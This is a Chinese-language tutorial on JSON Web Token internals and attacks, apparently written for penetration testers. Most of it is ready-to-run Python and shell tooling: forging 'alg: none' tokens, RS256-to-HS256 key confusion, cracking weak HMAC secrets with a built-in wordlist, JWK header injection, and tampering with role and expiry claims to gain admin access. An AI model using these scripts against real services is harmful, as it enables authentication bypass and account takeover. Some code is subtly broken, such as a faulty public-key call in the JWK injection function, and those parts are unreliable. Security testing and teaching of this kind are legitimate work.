梳理 JSON Web Token(JWT)的结构原理、签名算法机制、各类安全漏洞的利用技巧与绕过方法。
一、JWT 基础原理
1.1 JWT 概述
JSON Web Token(JWT) 是一种开放标准(RFC 7519),以紧凑、自包含的方式在各方之间安全地传输信息。JWT 被广泛用于:
- 身份认证(Authentication):登录后颁发 Token,后续请求携带验证身份
- 授权(Authorization):Token 中包含用户角色/权限信息
- 信息交换(Information Exchange):各方之间安全地传递经过签名的信息
典型使用流程:
用户登录 → 服务端验证凭证 → 生成 JWT → 返回给客户端
↓
后续请求 → 客户端携带 JWT(Header: Authorization: Bearer <token>)
↓
服务端验证 JWT 签名 → 提取 Payload 中的用户信息 → 处理请求
1.2 JWT 三段式结构
JWT 由三部分组成,用 . 连接:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│─────────────────────────────────────│ │────────────────────────────────────────│ │───────────────────────────────────────────────│
Header Payload Signature
结构公式:
JWT = Base64URL(Header) + "." + Base64URL(Payload) + "." + Signature
其中:
Signature = HMACSHA256(
Base64URL(Header) + "." + Base64URL(Payload),
secret
)
1.3 Header 详解
{
"alg": "HS256", // 签名算法(必须)
"typ": "JWT" // Token 类型(通常为 JWT)
}
常见 alg 值:
| 算法 | 类型 | 说明 |
|---|---|---|
HS256 |
HMAC | HMAC + SHA-256,使用共享密钥 |
HS384 |
HMAC | HMAC + SHA-384 |
HS512 |
HMAC | HMAC + SHA-512 |
RS256 |
RSA | RSA + SHA-256,私钥签名,公钥验证 |
RS384 |
RSA | RSA + SHA-384 |
RS512 |
RSA | RSA + SHA-512 |
ES256 |
ECDSA | ECDSA + P-256 + SHA-256 |
ES384 |
ECDSA | ECDSA + P-384 + SHA-384 |
ES512 |
ECDSA | ECDSA + P-521 + SHA-512 |
PS256 |
RSA-PSS | RSA-PSS + SHA-256 |
EdDSA |
EdDSA | Ed25519 / Ed448 |
none |
无 | 不签名(危险!) |
HMAC 算法(对称)
HMAC(Hash-based Message Authentication Code):
使用同一个密钥进行签名和验证
服务端签名 → 服务端验证 → 同一密钥
签名过程:
Signature = HMAC-SHA256(
Base64URL(Header) + "." + Base64URL(Payload),
SECRET_KEY
)
特点:
✅ 简单高效
⚠️ 密钥需保密,泄露则 JWT 可被任意伪造
⚠️ 不支持公开验证(第三方无法验证签名)
攻击面:
弱密钥(可被爆破)
密钥泄露(源码/配置文件)
Algorithm None(绕过签名验证)
RS256 → HS256 算法混淆
RSA 算法(非对称)
RSA(Rivest-Shamir-Adleman):
私钥签名 → 公钥验证
密钥对:
私钥(Private Key):只有签发方持有,用于签名
公钥(Public Key):可以公开,用于验证
签名过程:
Signature = RSA-SHA256(
Base64URL(Header) + "." + Base64URL(Payload),
PRIVATE_KEY
)
验证过程:
是否有效 = RSA-Verify(
Base64URL(Header) + "." + Base64URL(Payload),
Signature,
PUBLIC_KEY
)
特点:
✅ 公钥可以公开发布(JWKS 端点)
✅ 支持第三方验证
⚠️ 私钥泄露则可任意伪造
⚠️ 存在算法混淆攻击(RS256 → HS256)
常见 JWKS 端点:
/.well-known/jwks.json
/auth/jwks
/oauth/jwks
/.well-known/openid-configuration → 其中的 jwks_uri 字段
ECDSA 算法
椭圆曲线数字签名算法,与 RSA 类似(非对称)
私钥签名,公钥验证
密钥长度更短,安全性更高
⚠️ ECDSA 历史漏洞:
若签名时随机数 k 重复使用,可以恢复私钥!
(Sony PlayStation 3 私钥泄露事件)
CVE-2022-21449(Psychic Signatures):
Java 15-18 的 ECDSA 验证漏洞
传入全零签名,验证通过!
Signature: Base64URL("") + "." + Base64URL("")
→ 任意 Payload,签名为空,验证通过
算法安全性对比
| 算法 | 密钥类型 | 推荐 | 主要风险 |
|---|---|---|---|
none |
无 | ❌ 禁用 | 无签名,直接伪造 |
HS256 |
对称密钥 | ⚠️ 弱密钥时危险 | 弱密钥爆破、算法混淆 |
HS512 |
对称密钥 | ✅ 强密钥时安全 | 弱密钥爆破 |
RS256 |
RSA 密钥对 | ✅ 推荐 | 算法混淆、JWK 注入 |
ES256 |
EC 密钥对 | ✅ 推荐 | 随机数重用、Psychic Signatures |
PS256 |
RSA-PSS | ✅ 最推荐 | JWK 注入 |
扩展 Header 参数(攻击关注点):
{
"alg": "RS256",
"typ": "JWT",
"kid": "key-id-1", // 密钥 ID → kid 注入攻击
"jku": "https://example.com/jwks.json", // JWK Set URL → jku 注入
"jwk": { "kty": "RSA", ... }, // 内嵌 JWK → jwk 注入
"x5u": "https://example.com/cert.pem", // X.509 证书 URL → x5u 注入
"x5c": ["<base64 cert>"], // X.509 证书链 → x5c 注入
"cty": "JWT" // 内容类型
}
1.4 Payload 详解
{
// ── 注册声明(Registered Claims,标准字段)──
"iss": "https://auth.example.com", // 签发者(Issuer)
"sub": "user123", // 主题/用户 ID(Subject)
"aud": "api.example.com", // 受众(Audience)
"exp": 1735689600, // 过期时间(Expiration,Unix 时间戳)
"nbf": 1704153600, // 不早于(Not Before)
"iat": 1704153600, // 签发时间(Issued At)
"jti": "unique-id-abc123", // JWT ID(防重放)
// ── 公共声明(Public Claims)──
"name": "Alice",
"email": "alice@example.com",
// ── 私有声明(Private Claims,业务相关)──
"role": "user", // 角色 → 常见攻击目标
"admin": false, // 管理员标志 → 常见攻击目标
"permissions": ["read"], // 权限列表 → 常见攻击目标
"user_id": 1001
}
1.5 Base64URL 编码规则
# JWT 使用 Base64URL 编码(非标准 Base64)
# 区别:+ → -,/ → _,去掉末尾 = 填充
import base64
def base64url_decode(data: str) -> bytes:
"""Base64URL 解码"""
# 补齐填充
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
# 替换字符
data = data.replace('-', '+').replace('_', '/')
return base64.b64decode(data)
def base64url_encode(data: bytes) -> str:
"""Base64URL 编码"""
encoded = base64.b64encode(data).decode('utf-8')
# 替换字符并去除填充
return encoded.replace('+', '-').replace('/', '_').rstrip('=')
# 手动解码 JWT
import json
def decode_jwt(token: str) -> dict:
"""解码 JWT(不验证签名)"""
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
header = json.loads(base64url_decode(parts[0]))
payload = json.loads(base64url_decode(parts[1]))
sig_raw = base64url_decode(parts[2])
return {
"header": header,
"payload": payload,
"signature": sig_raw.hex()
}
# 示例
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
print(decode_jwt(token))
1.6 常见 JWT 库与框架
# ── Python ──
import jwt # PyJWT
# 签名
token = jwt.encode({"user": "alice", "role": "admin"}, "secret", algorithm="HS256")
# 验证
payload = jwt.decode(token, "secret", algorithms=["HS256"])
# 不验证签名(仅解码)
payload = jwt.decode(token, options={"verify_signature": False})
// ── Node.js(jsonwebtoken)──
const jwt = require('jsonwebtoken');
// 签名
const token = jwt.sign({ user: 'alice', role: 'user' }, 'secret', { expiresIn: '1h' });
// 验证
const payload = jwt.verify(token, 'secret');
// 解码不验证
const payload = jwt.decode(token);
// ── Java(jjwt)──
import io.jsonwebtoken.*;
// 签名
String token = Jwts.builder()
.setSubject("alice")
.claim("role", "user")
.signWith(SignatureAlgorithm.HS256, "secret".getBytes())
.compact();
// 验证
Claims claims = Jwts.parser()
.setSigningKey("secret".getBytes())
.parseClaimsJws(token)
.getBody();
<?php
// ── PHP(firebase/php-jwt)──
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
// 签名
$token = JWT::encode(['user' => 'alice', 'role' => 'user'], 'secret', 'HS256');
// 验证
$payload = JWT::decode($token, new Key('secret', 'HS256'));
漏洞版本速查
| 库 / 框架 | 漏洞版本 | CVE | 漏洞类型 |
|---|---|---|---|
| PyJWT | < 1.5.0 | CVE-2017-11424 | Algorithm None |
| PyJWT | < 2.4.0 | — | Key confusion |
| python-jose | < 3.3.0 | CVE-2024-33663 | Algorithm confusion |
| jsonwebtoken (Node) | < 9.0.0 | CVE-2022-23529 | 密钥注入 |
| jsonwebtoken (Node) | < 4.2.2 | CVE-2015-9235 | Algorithm None |
| java-jwt | < 3.1.0 | — | Algorithm None |
| jjwt | < 0.10.0 | — | Algorithm None |
| nimbus-jose-jwt | < 7.8.1 | — | ECDSA 漏洞 |
| Spring Security | OAuth2 | CVE-2022-22976 | Algorithm confusion |
| Auth0 jwt-go | < 2.2.0 | — | Algorithm None |
二、Algorithm None 攻击
2.1 漏洞原理
JWT 规范中,alg=none 表示"不签名"的 JWT
某些库在处理 alg=none 时不进行任何签名验证!
攻击步骤:
1. 获取一个有效的 JWT
2. 解码 Header 和 Payload
3. 修改 Payload(如提权:role→admin)
4. 将 Header 中的 alg 改为 "none" / "None" / "NONE"
5. 签名部分留空
6. 拼接:Base64URL(header) + "." + Base64URL(payload) + "."
漏洞条件:
服务器接受 alg=none 的 JWT
服务器不要求必须有签名
2.2 攻击实现
#!/usr/bin/env python3
"""Algorithm None 攻击工具"""
import json
import base64
import hmac
import hashlib
def base64url_encode(data) -> str:
if isinstance(data, str):
data = data.encode('utf-8')
elif isinstance(data, dict):
data = json.dumps(data, separators=(',', ':')).encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def base64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
def none_attack(original_token: str, new_payload: dict) -> list:
"""
生成 Algorithm None 攻击的 JWT 变体
返回多个大小写变体(绕过某些过滤)
"""
results = []
# alg=none 的各种大小写变体
none_variants = ["none", "None", "NONE", "nOnE", "NoNe", "nONE"]
for variant in none_variants:
header = {"alg": variant, "typ": "JWT"}
h = base64url_encode(json.dumps(header, separators=(',', ':')))
p = base64url_encode(json.dumps(new_payload, separators=(',', ':')))
# 签名为空
token = f"{h}.{p}."
results.append((variant, token))
return results
# ══ 使用示例 ══
# 原始 Token
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsImV4cCI6OTk5OTk5OTk5OX0.xxx"
# 解码获取 Payload
parts = original.split('.')
payload = json.loads(base64url_decode(parts[1]))
print(f"原始 Payload: {payload}")
# 修改 Payload(提权)
payload['role'] = 'admin'
payload['admin'] = True
# 生成 None 攻击 Token
tokens = none_attack(original, payload)
for variant, token in tokens:
print(f"\nalg={variant!r}:")
print(f" {token}")
# ── PyJWT 旧版本(< 1.5.0)的 none 处理 ──
# import jwt
# 旧版本中直接可以 decode
# payload = jwt.decode(forged_token, options={"verify_signature": False})
2.3 变体与绕过
# 某些实现过滤了 "none" 但没有过滤其他变体
none_variants = [
"none",
"None",
"NONE",
"nOnE",
"NoNe",
"nONE",
"NonE",
"noNE",
# 带空格(某些解析器可能接受)
" none",
"none ",
# URL 编码
"n\x00one", # null byte
# 空算法字符串
"",
]
# 某些实现不检查签名部分是否为空
# 尝试保留原始签名(某些版本不校验签名与 none 的一致性)
def none_attack_keep_sig(original_token: str, new_payload: dict) -> str:
parts = original_token.split('.')
original_sig = parts[2] # 保留原始签名
header = {"alg": "none", "typ": "JWT"}
h = base64url_encode(json.dumps(header, separators=(',', ':')))
p = base64url_encode(json.dumps(new_payload, separators=(',', ':')))
# 保留原签名或为空
variants = [
f"{h}.{p}.", # 空签名
f"{h}.{p}.{original_sig}", # 保留原签名
f"{h}.{p}", # 无签名部分(缺少最后的点)
]
return variants
三、RS256 → HS256 算法混淆攻击
3.1 攻击原理
这是最经典的 JWT 算法混淆攻击!
正常的 RS256 流程:
服务端使用私钥(Private Key)签名
服务端使用公钥(Public Key)验证
攻击逻辑:
当服务端代码类似:
secret = get_public_key() # 获取公钥(可公开的信息)
jwt.decode(token, secret) # 验证(但没有强制指定算法!)
某些库在验证时会根据 Header 中的 alg 字段决定验证方式:
- 若 alg=RS256 → 用 secret 作为 RSA 公钥验证
- 若 alg=HS256 → 用 secret 作为 HMAC 密钥验证!
攻击者将 alg 从 RS256 改为 HS256
用服务端的 RSA 公钥(可公开获取!)作为 HMAC 密钥
重新签名 → 服务端用公钥作为 HMAC 密钥验证 → 通过!
条件:
① 服务器使用 RS256 签名 JWT
② 服务器的 RSA 公钥可以获取(JWKS 端点 / 源码 / 证书)
③ 服务器在验证时没有强制指定算法(接受客户端指定的算法)
3.2 攻击步骤与脚本
#!/usr/bin/env python3
"""RS256 → HS256 算法混淆攻击"""
import json
import base64
import hmac
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
def base64url_encode(data) -> str:
if isinstance(data, (dict, list)):
data = json.dumps(data, separators=(',', ':')).encode('utf-8')
elif isinstance(data, str):
data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def base64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
def rs256_to_hs256_attack(original_token: str,
new_payload: dict,
public_key_pem: str) -> str:
"""
RS256 → HS256 算法混淆攻击
Args:
original_token: 原始 RS256 JWT
new_payload: 修改后的 Payload(如提权)
public_key_pem: 服务端 RSA 公钥(PEM 格式)
Returns:
伪造的 HS256 JWT
"""
# Step 1:构造新的 Header(alg 改为 HS256)
new_header = {"alg": "HS256", "typ": "JWT"}
# Step 2:编码 Header 和 Payload
h = base64url_encode(new_header)
p = base64url_encode(new_payload)
message = f"{h}.{p}"
# Step 3:将 RSA 公钥转换为字节,作为 HMAC 密钥
# 使用 PEM 格式的公钥内容作为 HMAC 密钥
key_bytes = public_key_pem.encode('utf-8') if isinstance(public_key_pem, str) else public_key_pem
# Step 4:用公钥字节作为 HMAC-SHA256 密钥签名
signature = hmac.new(
key_bytes,
message.encode('utf-8'),
hashlib.sha256
).digest()
sig_encoded = base64url_encode(signature)
forged_token = f"{message}.{sig_encoded}"
return forged_token
# ══ 使用示例 ══
# 获取公钥(多种方式)
# 1. 从 JWKS 端点获取
# 2. 从 /.well-known/jwks.json 获取
# 3. 从源码/配置文件中提取
# 示例公钥(实际使用时替换为真实公钥)
public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...(公钥内容)...
-----END PUBLIC KEY-----"""
# 原始 Token
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.xxx"
# 修改 Payload
parts = original_token.split('.')
payload = json.loads(base64url_decode(parts[1]))
payload['role'] = 'admin'
payload['admin'] = True
# 执行攻击
forged = rs256_to_hs256_attack(original_token, payload, public_key_pem)
print(f"伪造的 Token:\n{forged}")
3.3 获取公钥的方式
# ── 方式一:从 JWKS 端点下载 ──
curl https://target.com/.well-known/jwks.json
curl https://target.com/auth/jwks
curl https://target.com/oauth2/jwks
# JWKS 格式示例
{
"keys": [{
"kty": "RSA",
"use": "sig",
"kid": "key-1",
"n": "0vx7agoebGcQ...", # RSA 模数
"e": "AQAB" # RSA 公钥指数
}]
}
# ── 方式二:从 JWT 本身提取(若包含 x5c)──
# Header 中的 x5c 字段包含 Base64 编码的证书
# 从证书中提取公钥
# ── 方式三:通过两个已签名的 Token 计算 ──
# 若知道两个 Token 及其内容,可以尝试恢复公钥
# ── 方式四:服务器证书 ──
# 某些服务使用 TLS 证书的公钥签名 JWT
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
# 从 JWKS JSON 提取 PEM 格式公钥
import json
import base64
import struct
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
def jwk_to_pem(jwk: dict) -> str:
"""将 JWK 格式的 RSA 公钥转换为 PEM 格式"""
def decode_base64url(s):
s += '=' * (4 - len(s) % 4)
return int.from_bytes(base64.urlsafe_b64decode(s), 'big')
n = decode_base64url(jwk['n']) # RSA 模数
e = decode_base64url(jwk['e']) # RSA 公钥指数
public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
return pem.decode('utf-8')
# 示例 JWK
jwk = {
"kty": "RSA",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
"e": "AQAB"
}
pem = jwk_to_pem(jwk)
print(pem)
四、弱密钥爆破攻击
4.1 爆破原理
HMAC 算法使用对称密钥,若密钥过弱(如 "secret" / "123456" 等),
可以通过字典攻击爆破出密钥,进而伪造任意 JWT。
攻击条件:
① 服务器使用 HS256 / HS384 / HS512 算法
② 密钥强度不足(短密钥 / 常见密钥 / 默认密钥)
常见弱密钥:
secret password 123456
jwt_secret admin qwerty
my-secret-key supersecret 1234567890
change-me your-256-bit-secret
secret123 jwt token
4.2 爆破工具使用
# ── hashcat(最快,GPU 加速)──
# HS256 爆破(hashcat 模式 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# 参数说明:
# -a 0 字典攻击
# -m 16500 JWT HS256/HS384/HS512 模式
# jwt.txt 包含待破解 JWT 的文件(每行一个)
# wordlist.txt 密钥字典
# 字典 + 规则
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r rules/best64.rule
# 掩码攻击(爆破特定格式密钥)
hashcat -a 3 -m 16500 jwt.txt "?l?l?l?l?l?l" # 6位小写字母
hashcat -a 3 -m 16500 jwt.txt "?d?d?d?d?d?d" # 6位数字
# 组合攻击
hashcat -a 1 -m 16500 jwt.txt dict1.txt dict2.txt
# ── jwt-cracker(Node.js)──
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.xxx
# ── jwt_tool(Python,功能全面)──
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# -C crack mode(爆破)
# -d 字典文件
# ── john the ripper ──
# 将 JWT 转换为 john 格式后爆破
john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt_hash.txt
4.3 自动爆破脚本
#!/usr/bin/env python3
"""JWT 弱密钥爆破脚本"""
import hmac
import hashlib
import base64
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def base64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
def verify_hs256(token: str, secret: str) -> bool:
"""验证 HS256 JWT 签名"""
try:
parts = token.split('.')
if len(parts) != 3:
return False
message = f"{parts[0]}.{parts[1]}".encode('utf-8')
expected_sig = base64url_decode(parts[2])
# 计算签名
sig = hmac.new(secret.encode('utf-8'), message, hashlib.sha256).digest()
# 时间安全比较
return hmac.compare_digest(sig, expected_sig)
except Exception:
return False
def crack_jwt(token: str, wordlist_path: str, threads: int = 50) -> str:
"""
多线程字典爆破 JWT 密钥
Args:
token: 待爆破的 JWT
wordlist_path: 字典文件路径
threads: 线程数
Returns:
找到的密钥,或 None
"""
# 验证 JWT 格式
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT")
header = json.loads(base64url_decode(parts[0]))
alg = header.get('alg', '').upper()
if not alg.startswith('HS'):
print(f"[-] 算法 {alg} 不是 HMAC,无法爆破")
return None
print(f"[*] 开始爆破 JWT(算法:{alg})...")
print(f"[*] 字典:{wordlist_path}")
found = [None] # 使用列表存储结果(线程安全)
def check_key(secret: str) -> str:
if found[0]:
return None
if verify_hs256(token, secret):
found[0] = secret
return secret
return None
try:
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
secrets = [line.strip() for line in f if line.strip()]
print(f"[*] 字典大小:{len(secrets)} 个密钥")
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(check_key, s): s for s in secrets}
checked = 0
for future in as_completed(futures):
if found[0]:
break
checked += 1
if checked % 10000 == 0:
print(f"[*] 已检查:{checked}/{len(secrets)}")
result = future.result()
if result:
print(f"\n[+] 找到密钥:{result!r}")
return result
except FileNotFoundError:
print(f"[-] 字典文件不存在:{wordlist_path}")
return None
if not found[0]:
print("[-] 未找到密钥")
return found[0]
# ══ 内置常见弱密钥列表 ══
COMMON_WEAK_KEYS = [
"secret", "password", "123456", "admin", "jwt", "token",
"my-secret-key", "supersecret", "qwerty", "letmein",
"jwt-secret", "jwt_secret", "jwtSecret", "jwtSECRET",
"your-256-bit-secret", "your-secret", "change-me",
"secret123", "password123", "abc123", "test",
"development", "production", "staging", "key",
"private", "signing-key", "app-secret", "auth-secret",
"1234567890", "0123456789", "abcdefgh",
"HS256", "HS384", "HS512", "RS256",
# 常见框架默认密钥
"SjkFoKP0HpGdBlU1UBMb6KnakBTi4Sbv", # 某框架默认
"secret_key_here",
"your_jwt_secret",
"hard_coded_secret",
]
def quick_crack(token: str) -> str:
"""快速测试常见弱密钥"""
print("[*] 快速测试常见弱密钥...")
for key in COMMON_WEAK_KEYS:
if verify_hs256(token, key):
print(f"[+] 找到弱密钥:{key!r}")
return key
print("[-] 常见弱密钥未命中,需要字典爆破")
return None
# 使用
if __name__ == '__main__':
token = input("请输入 JWT:").strip()
result = quick_crack(token)
if not result:
wordlist = input("字典路径(Enter 跳过):").strip()
if wordlist:
crack_jwt(token, wordlist)
4.4 伪造 JWT(已知密钥)
#!/usr/bin/env python3
"""已知密钥后伪造 JWT"""
import hmac
import hashlib
import base64
import json
import time
def base64url_encode(data) -> str:
if isinstance(data, dict):
data = json.dumps(data, separators=(',', ':')).encode()
elif isinstance(data, str):
data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def forge_hs256_jwt(payload: dict, secret: str,
algorithm: str = "HS256") -> str:
"""
使用已知密钥伪造 JWT
Args:
payload: Payload 字典(可包含 exp/iat 等)
secret: 已知的 HMAC 密钥
algorithm: 签名算法(HS256/HS384/HS512)
Returns:
签名后的 JWT 字符串
"""
# 构造 Header
header = {"alg": algorithm, "typ": "JWT"}
# 若 Payload 不含过期时间,设置为 10 年后
if 'exp' not in payload:
payload['exp'] = int(time.time()) + 365 * 24 * 3600 * 10
if 'iat' not in payload:
payload['iat'] = int(time.time())
# 编码
h = base64url_encode(header)
p = base64url_encode(payload)
message = f"{h}.{p}"
# 选择哈希算法
hash_map = {
"HS256": hashlib.sha256,
"HS384": hashlib.sha384,
"HS512": hashlib.sha512,
}
hash_func = hash_map.get(algorithm, hashlib.sha256)
# 签名
sig = hmac.new(
secret.encode('utf-8'),
message.encode('utf-8'),
hash_func
).digest()
sig_encoded = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
return f"{message}.{sig_encoded}"
# 使用示例
payload = {
"user": "attacker",
"role": "admin", # 提权
"admin": True,
"sub": "1",
"iss": "auth.example.com"
}
token = forge_hs256_jwt(payload, "secret")
print(f"伪造 Token: {token}")
# 也可以使用 PyJWT 库
# import jwt
# token = jwt.encode(payload, "secret", algorithm="HS256")
五、JWK 注入攻击
5.1 漏洞原理
JWK(JSON Web Key)是 JSON 格式的密钥表示。
JWT Header 中的 jwk 参数允许嵌入公钥,
某些库会直接使用 Header 中嵌入的公钥来验证 JWT!
漏洞逻辑:
正常:服务器用自己保存的公钥验证 Token
漏洞:服务器用 Token Header 中攻击者提供的公钥验证 Token
攻击者生成自己的 RSA 密钥对
→ 用私钥签名构造 JWT
→ 将对应的公钥嵌入 Header 的 jwk 字段
→ 服务器取出 Header 中的 jwk(攻击者的公钥)
→ 用攻击者的公钥验证攻击者签名的 JWT
→ 验证通过!
漏洞条件:
服务器接受 Header 中的 jwk 字段
服务器不验证 jwk 中的公钥是否是信任的公钥
5.2 JWK 注入实战
#!/usr/bin/env python3
"""JWK 注入攻击工具"""
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
def base64url_encode(data) -> str:
if isinstance(data, dict):
data = json.dumps(data, separators=(',', ':')).encode()
elif isinstance(data, str):
data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def int_to_base64url(n: int) -> str:
"""将大整数转换为 Base64URL 编码"""
byte_length = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(
n.to_bytes(byte_length, 'big')
).rstrip(b'=').decode()
def jwk_injection_attack(original_token: str, new_payload: dict) -> dict:
"""
JWK 注入攻击
Returns:
包含伪造 Token 和密钥信息的字典
"""
# Step 1:生成新的 RSA 密钥对
print("[*] 生成 RSA 密钥对...")
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()
# Step 2:构造 JWK 格式的公钥
jwk = {
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": int_to_base64url(pub_numbers.n), # 模数
"e": int_to_base64url(pub_numbers.e), # 公钥指数
}
# Step 3:构造包含 jwk 的 Header
header = {
"alg": "RS256",
"typ": "JWT",
"jwk": jwk # 注入攻击者的公钥!
}
# Step 4:编码 Header 和 Payload
h = base64url_encode(header)
p = base64url_encode(new_payload)
message = f"{h}.{p}"
# Step 5:用攻击者的私钥签名
signature = private_key.sign(
message.encode('utf-8'),
padding.PKCS1v15(),
hashes.SHA256()
)
sig_encoded = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
forged_token = f"{message}.{sig_encoded}"
# 输出私钥(保存备用)
pem_private = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
).decode()
return {
"forged_token": forged_token,
"private_key_pem": pem_private,
"jwk": jwk
}
# ══ 使用 ══
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.xxx"
# 修改 Payload
new_payload = {
"user": "attacker",
"role": "admin",
"admin": True,
"iat": 1704153600,
"exp": 9999999999
}
result = jwk_injection_attack(original_token, new_payload)
print(f"\n[+] 伪造 Token:\n{result['forged_token']}")
print(f"\n[+] 注入的 JWK:\n{json.dumps(result['jwk'], indent=2)}")
六、JWT 声明伪造
6.1 常见声明篡改目标
#!/usr/bin/env python3
"""JWT 声明篡改目标速查"""
# ── 权限相关(最常见攻击目标)──
privileged_claims = {
"role": ["admin", "superadmin", "root", "administrator",
"moderator", "staff", "employee", "internal"],
"admin": [True, 1, "true", "1", "yes"],
"is_admin": [True, 1],
"is_staff": [True, 1],
"permissions": ["*", "admin:*", ["admin", "write", "delete"]],
"scope": "admin openid profile email",
"groups": ["admin", "superusers"],
"privilege": "high",
"level": [9, 99, 100],
}
# ── 用户身份相关 ──
identity_claims = {
"sub": ["1", "admin", "0", "root"], # 用户 ID
"user": "admin",
"username": "admin",
"user_id": [1, 0],
"uid": [0, 1],
"id": [1, 0],
"email": "admin@internal.com",
}
# ── 时间相关(绕过过期)──
time_claims = {
"exp": 9999999999, # 永不过期
"nbf": 0, # 过去就可用
"iat": 0, # 很早签发
}
# ── 签发者/受众相关 ──
issuer_claims = {
"iss": ["internal", "admin", "trusted-service"],
"aud": ["admin-api", "internal-api", "management"],
}
6.2 声明篡改场景
# ── 场景一:用户 ID 越权 ──
# 原:{"sub": "1001", "user": "alice"}
# 改:{"sub": "1", "user": "admin"} ← 访问 ID=1 的管理员
# ── 场景二:角色提权 ──
# 原:{"role": "user", "admin": false}
# 改:{"role": "admin", "admin": true} ← 获取管理员权限
# ── 场景三:邮箱替换(OAuth 场景)──
# 原:{"email": "attacker@gmail.com"}
# 改:{"email": "admin@company.com"} ← 以管理员邮箱登录
# ── 场景四:scope 扩展 ──
# 原:{"scope": "read"}
# 改:{"scope": "read write admin delete"} ← 获取更多权限
# ── 场景五:tenant/org 越权(多租户)──
# 原:{"org_id": "tenant-a", "user": "alice"}
# 改:{"org_id": "tenant-b", "user": "alice"} ← 跨租户访问
七、过期时间绕过
7.1 exp 声明绕过
# ── 场景一:直接将 exp 改为未来时间 ──
# 若能伪造 JWT(知道密钥或存在其他漏洞),直接设置超大 exp
payload['exp'] = 9999999999 # 2286年过期
# ── 场景二:删除 exp 字段 ──
# 某些库在 exp 不存在时不检查过期
del payload['exp']
# ── 场景三:服务端不验证 exp ──
# 某些服务端实现中不验证 exp
# 直接修改 Payload(需要其他漏洞配合绕过签名)
# ── 场景四:时区/时间精度差异 ──
# 某些实现对 exp 的比较有误差或时区问题
# ── 检测服务是否验证 exp ──
import time, jwt
# 生成一个已过期的 Token
expired_payload = {
"user": "test",
"exp": int(time.time()) - 3600 # 1小时前过期
}
# 若服务端接受此 Token,说明不验证 exp
# ── CVE 相关:某些库不验证 exp ──
# 旧版本 PyJWT 在 decode 时默认不验证 exp
# 需要显式传入 options={"verify_exp": True}
7.2 nbf 和 iat 攻击
# nbf(Not Before):指定 Token 在此时间之前无效
# 某些服务对 nbf 处理不当,可设为极小值使 Token 立即生效
# iat(Issued At):签发时间
# 某些服务基于 iat 实现会话超时(iat + max_age < now)
# 修改 iat 为当前时间,绕过会话超时
